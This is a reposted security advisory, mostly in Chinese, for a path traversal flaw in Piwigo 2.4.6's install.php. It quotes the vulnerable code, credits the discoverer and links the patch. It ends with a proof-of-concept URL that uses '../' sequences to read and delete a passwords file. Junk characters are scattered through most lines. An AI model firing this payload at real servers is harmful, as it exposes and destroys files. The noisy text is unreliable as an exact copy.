Piwigo是用PHP编写的相册脚本。6 C) Y9 E( z# J% a" |
6 @% c4 e" ?4 S1 q
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
2 M1 T' A( M/ y7 m: z" p/ x% v====================================================================! c. x. q: Q* [: ]2 O
/install.php:) e/ e* _/ h9 B A/ E
-------------
8 A& M5 \5 U9 e6 R& W# y5 W113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
- I) \: I( ?) n/ Z& Y% j. P. e/ q7 A114: {
% M/ ?) s$ ~6 B, D k8 _( r I% E115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
1 R i# k3 ?* D: R8 U116: header('Cache-Control: no-cache, must-revalidate');3 S* Z z8 w( g: J. \ u/ {+ |
117: header('Pragma: no-cache');- N m4 j$ y0 h8 D6 f* h5 V
118: header('Content-Disposition: attachment; filename="database.inc.php"');% x3 ]2 C( ?, B; e9 b# X
119: header('Content-Transfer-Encoding: binary');$ v( b M1 q% a" }
120: header('Content-Length: '.filesize($filename));, V+ g. L1 A$ @
121: echo file_get_contents($filename);
8 Y" x5 D3 S% e5 S$ C! g7 F0 f; x' X122: unlink($filename);
0 P P" t/ C+ \, l( M |! H123: exit();4 J* S$ D- z0 r0 x# z( h4 H* y; i
124: }% r3 a& y& B- V
====================================================================
* [1 I* J" |$ L' J. }' w # }( f }+ P& r- j
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. v* b7 f% F, u5 S8 i+ \8 i Apache 2.4.2 (Win32)
, h. B4 I. y* `% Q PHP 5.4.4; i9 R v" }" }6 {
MySQL 5.5.25a1 G$ _# `5 P9 s1 D, ~
+ d6 g& S; H0 D) [- l- i, d9 h
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
: a- l/ r/ y& _ K. H! D- d, w% A& B" x2 K @zeroscience* @- h1 J! X* n5 y% }- N u7 M
2 @0 D" G( i: E! Q+ XAdvisory ID: ZSL-2013-51277 m8 C. }3 q' J3 y( c! l1 U! X
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
1 F' D' d4 G$ L4 JVendor Patch: http://piwigo.org/bugs/view.php?id=2843
6 z! D/ u# j: q2 O% S. y $ k' V, d4 g! Q7 D' W4 W* G
15.02.2013
: O9 p- G1 ^5 M s9 E2 \; P ' Z" I* O! C/ Q" x
--! }2 j9 L3 O6 W" F7 U& F. T
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
/ c/ |. |4 N& J ( C7 M, F# {9 t4 N% T5 k
|